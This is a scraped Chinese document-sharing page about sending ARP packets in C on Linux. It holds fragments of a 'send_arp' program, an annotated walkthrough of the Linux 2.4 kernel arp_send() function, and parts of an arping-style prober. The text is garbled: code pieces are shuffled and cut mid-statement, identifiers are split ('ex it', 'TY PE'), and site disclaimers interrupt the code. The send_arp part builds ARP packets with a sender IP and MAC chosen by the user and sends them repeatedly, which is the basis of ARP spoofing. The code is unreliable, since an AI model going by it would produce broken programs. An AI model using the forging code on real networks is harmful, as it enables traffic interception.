例如,定义一个函数sendMessage来发送消息:int sendMessage(int socket, struct Message* message){int size = sizeof(struct Message);int n = write(socket, message, size);if (n < 0){perror('Error writing to socket');return -1;}return n;}在这个函数中,socket表示套接字,message表示要发送的消息。
linux下C语言实现ARP数据包发送
{
if ((hostp = gethostbyname(str)))
{
bcopy(hostp->h_addr, in_addr, hostp->h_length);
}
else
{
fprintf(stderr, "send_arp: unknown host %s\n", str);
ex it(1 );
perror("sendto"); ex it(1 ); } } ex it(0); }
void die(char* str) {
fprintf(stderr, "%s\n", str); ex it(1 ); }
…/…/4c78c5274b6b560b90…
2/5
2009/12/9
die(usage); } sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); if (sock < 0) {
perror("socket"); exit(1); } number = atoi(argv[5]); pkt.frame_type = htons(ARP_FRAME_TY PE); pkt.hw_type = htons(ETHER_HW_T Y PE); pkt.prot_type = htons(IP_PROTO_TY PE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op = htons(OP_ARP_QUEST); get_hw_addr(pkt.targ_hw_addr, argv[4]); get_hw_addr(pkt.rcpt_hw_addr, argv[4]); get_hw_addr(pkt.src_hw_addr, argv[2]); get_hw_addr(pkt.sndr_hw_addr, argv[2]); get_ip_addr(&src_in_addr, argv[1]); get_ip_addr(&targ_in_addr, argv[3]); memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); bzero(pkt.padding, 18); strcpy(sa.sa_data, DEFAULT_DEVICE); for (j = 0; j < number; j++) { if (sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0) {
内核网络源码学习笔记:arp_send()函数分析。
内核网络源码学习笔记:arp_send()函数分析。
(代码基于linux2.4.0)void arp_send(int type,/*arp协议编码,如ARPOP_REPLY(arp 响应)、ARPOP_REQUEST(arp请求)等*/int ptype, /*以太网协议类型,或者说是接口的硬件类型,如ARP(ETH_P_ARP)、x.25(ETH_P_X25)、ip(ETH_P_IP)等*/ u32 dest_ip, /*目的ip地址*/struct net_device *dev, /*用于发包的网卡设备*/u32 src_ip, /*源ip地址*/unsigned char *dest_hw, /*目的硬件地址*/unsigned char *src_hw,/*源硬件地址*/unsigned char *target_hw) /*目的硬件地址,它用于arp响应时填充到arp包中,arp请求应该填0*/{struct sk_buff *skb;/*用于管理封装arp包的存储空间的sk_buff 指针*/struct arphdr *arp;/*指向arp包头*/unsigned char *arp_ptr;/*指向arp数据*//** No arp on this interface.*/if (dev->flags&IFF_NOARP)return;/** 分配缓冲区,* ARP数据包格式为:* 硬件类型(2bytes)+协议类型(2bytes)+硬件地址长度(1bytes)+协议长度(1bytes)+操作码(2bytes)* +源mac地址(6bytes)+源IP地址(4bytes)+目的mac地址(6bytes)+目的IP地址(4bytes)* 长度=以太网包头长度+arp包头长度+arp数据长度(源ip长度4+源硬件地址长度+目的ip长度4+目的硬件地址长度)+15(用作缓冲区字对齐)*/skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) + dev->hard_header_len + 15, GFP_ATOMIC);if (skb == NULL)return;skb_reserve(skb, (dev->hard_header_len+15)&~15);/*在skb 中申请以太网硬件头缓冲区,且边界字对齐*/skb->nh.raw = skb->data;/*在skb中申请arp数据包缓冲区(包括arp头和数据)*/arp = (struct arphdr *) skb_put(skb,sizeof(struct arphdr) + 2*(dev->addr_len+4));skb->dev = dev;/*指定数据包发送网卡*/skb->protocol = __constant_htons (ETH_P_ARP);if (src_hw == NULL)src_hw = dev->dev_addr;/*如果源硬件mac地址未提供则赋值为发送网卡的硬件地址*/if (dest_hw == NULL)dest_hw = dev->broadcast;/*如果目标硬件mac地址未提供则赋值为广播地址,通常arp请求时它置为广播地址*//**填充设备MAC地址.MAC帧格式:*目的地址(6字节)+ 源地址(6字节)+ 2字节字段(IEEE802.3:数据长度/DIX以太网:数据类型)+ 数据(46~~1500)+FCS*/if (dev->hard_header &&dev->hard_header(skb,dev,ptype,dest_hw,src_hw,skb->len) < 0)goto out;/** Fill out the arp protocol part.** The arp hardware type should match the device type, except for FDDI,* which (according to RFC 1390) should always equal 1 (Ethernet).*//** Exceptions everywhere. AX.25 uses the AX.25 PID value not the* DIX code for the protocol. Make these device structure fields.*/switch (dev->type) {default:arp->ar_hrd = htons(dev->type);arp->ar_pro = __constant_htons(ETH_P_IP);break;#if defined(CONFIG_AX25) || defined(CONFIG_AX25_MODULE)case ARPHRD_AX25:arp->ar_hrd = __constant_htons(ARPHRD_AX25);arp->ar_pro = __constant_htons(AX25_P_IP);break;#if defined(CONFIG_NETROM) || defined(CONFIG_NETROM_MODULE)case ARPHRD_NETROM:arp->ar_hrd = __constant_htons(ARPHRD_NETROM);arp->ar_pro = __constant_htons(AX25_P_IP);break;#endif#endif#ifdef CONFIG_FDDIcase ARPHRD_FDDI:arp->ar_hrd = __constant_htons(ARPHRD_ETHER);arp->ar_pro = __constant_htons(ETH_P_IP);break;#endif#ifdef CONFIG_TRcase ARPHRD_IEEE802_TR:arp->ar_hrd = __constant_htons(ARPHRD_IEEE802);arp->ar_pro = __constant_htons(ETH_P_IP);break;#endif}arp->ar_hln = dev->addr_len;/*对以太网而言,是MAC地址长度,应该为6*/arp->ar_pln = 4;/*对IP协议则是IP地址的长度*/arp->ar_op = htons(type);/*arp请求或响应*/arp_ptr=(unsigned char *)(arp+1);/*跳过ARP头,指向数据部分*/memcpy(arp_ptr, src_hw, dev->addr_len);/*填充源硬件地址*/ arp_ptr+=dev->addr_len;/*指针后移*/memcpy(arp_ptr, &src_ip,4);/*填充源IP地址*/arp_ptr+=4;/*指针后移*/if (target_hw != NULL) /*不为空则填充目标硬件地址,一般用于arp响应,填充解析的硬件地址*/memcpy(arp_ptr, target_hw, dev->addr_len);else /*否则填充全0地址,一般用于arp请求,因为目标硬件地址未知*/memset(arp_ptr, 0, dev->addr_len);arp_ptr+=dev->addr_len; /*指针后移*/memcpy(arp_ptr, &dest_ip, 4);/*填充目的IP地址*/skb->dev = dev; /*指定发送数据包的网卡设备*/dev_queue_xmit(skb);/*函数内部调用以太网卡驱动程序的发送函数将数据包发送到网络上*/return;out:kfree_skb(skb);}。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
struct hostent *hp; hp = gethostbyname2(target, AF_INET); printf("\ntarget = %s \n", target ); if (!hp) {
printf("Interface \"%s\" is down\n", if_dev); exit(2); } if (ifr.ifr_flags&(IFF_NOARP|IFF_LOOPBACK)) {
printf("Interface \"%s\" is not ARPable\n", if_dev); exit(2); } return ifindex; } // check_device() int socket_init() {
fprintf(stderr, "arping: unknown iface %s\n", if_dev); exit(2); } ifindex = ifr.ifr_ifindex; if (ioctl(ss, SIOCGIFFLAGS, (char*)&ifr)) { perror("ioctl(SIOC); } if (!(ifr.ifr_flags&IFF_UP)) {
perror("bind"); exit(2); } int alen = sizeof(me); if (getsockname(s, (struct sockaddr*)&me, &alen) == -1) { perror("getsockname"); exit(2); } if (me.sll_halen == 0) { printf("Interface \"%s\" is not ARPable (no ll address)\n", device); exit(2); } he = me; memset(he.sll_addr, -1, he.sll_halen); // set dmac addr FF:FF:FF:FF:FF:FF return s; } int create_pkt(unsigned char * buf, struct in_addr src, struct in_addr dst, struct sockaddr_ll * FROM, struct sockaddr_ll * TO) { struct arphdr *ah = (struct arphdr*) buf; unsigned char *p = (unsigned char *)(ah+1); ah->ar_hrd = htons(FROM->sll_hatype); if (ah->ar_hrd == htons(ARPHRD_FDDI)) ah->ar_hrd = htons(ARPHRD_ETHER); ah->ar_pro = htons(ETH_P_IP); ah->ar_hln = FROM->sll_halen; ah->ar_pln = 4; ah->ar_op = htons(ARPOP_REQUEST); memcpy(p, &FROM->sll_addr, ah->ar_hln); p+=FROM->sll_halen; memcpy(p, &src, 4); p+=4; memcpy(p, &TO->sll_addr, ah->ar_hln); p+=ah->ar_hln; memcpy(p, &dst, 4); p+=4;
#include <netdb.h> #include <unistd.h> #include <ctype.h> #include <errno.h> #include <signal.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <getopt.h> #include <sys/uio.h> #include <sys/file.h> #include <sys/time.h> #include <sys/signal.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/socket.h> #include <linux/sockios.h> #include <linux/if.h> #include <linux/if_arp.h> #include <linux/if_packet.h> #include <linux/types.h> #include <netinet/in.h> #include <arpa/inet.h> #define src_addr "192.168.0.239" #define device "eth0" #define fill_buf "aaaaaaaaaaaa" int socket_id; char *target = src_addr; int send_count = 0; int recv_count = 0; struct in_addr src, dst; struct sockaddr_ll me, he; struct timeval send_time, recv_time; struct in_addr get_src_ip(char * devices) { struct sockaddr_in saddr; int sock_id = socket(AF_INET, SOCK_DGRAM, 0); if (sock_id < 0) {
from.sll_addr[2], from.sll_addr[3], from.sll_addr[4], from.sll_addr[5]); printf(" %ld.%ld ms\n", (long int)msecs, (long int)usecs); fflush(stdout); } void finish() { printf("\nSent %d ARP probe packet(s) \n", send_count); printf("Received %d response(s)", recv_count); printf("\n\n");
perror("socket"); exit(2); } if (devices) {
if (setsockopt(sock_id, SOL_SOCKET, SO_BINDTODEVICE, device, strlen(device)+1) == -1)
perror("WARNING: interface is ignored"); } int alen = sizeof(saddr); memset(&saddr, 0, sizeof(saddr)); saddr.sin_port = htons(0x1000); saddr.sin_family = AF_INET; if (connect(sock_id, (struct sockaddr*)&saddr, sizeof(saddr)) == -1) {
memcpy(p, fill_buf, strlen(fill_buf) ); p+=12; return (p-buf); } void send_pkt() { unsigned char send_buf[256]; int pkt_size = create_pkt(send_buf, src, dst, &me, &he); gettimeofday(&send_time, NULL); int cc = sendto(socket_id, send_buf, pkt_size, 0, (struct sockaddr*)&he, sizeof(he)); if( cc == pkt_size )
fflush(stdout); exit(!recv_count); } //////////////////////////////////////////////////////////////// int main(int argc, char **argv) { uid_t uid = getuid(); setuid(uid); if( *(argv+1) != NULL )
return 0; if (ah->ar_pro != htons(ETH_P_IP) || ah->ar_pln != 4 || ah->ar_hln != me.sll_halen )
return 0; memcpy(&src_ip, p+ah->ar_hln, 4); memcpy(&dst_ip, p+ah->ar_hln+4+ah->ar_hln, 4); if (src_ip.s_addr != dst.s_addr || src.s_addr != dst_ip.s_addr )
int s, s_errno; s = socket(PF_PACKET, SOCK_DGRAM, 0); s_errno = errno; me.sll_family = AF_PACKET; me.sll_ifindex = check_device(device, s); me.sll_protocol = htons(ETH_P_ARP); if (bind(s, (struct sockaddr*)&me, sizeof(me)) == -1) {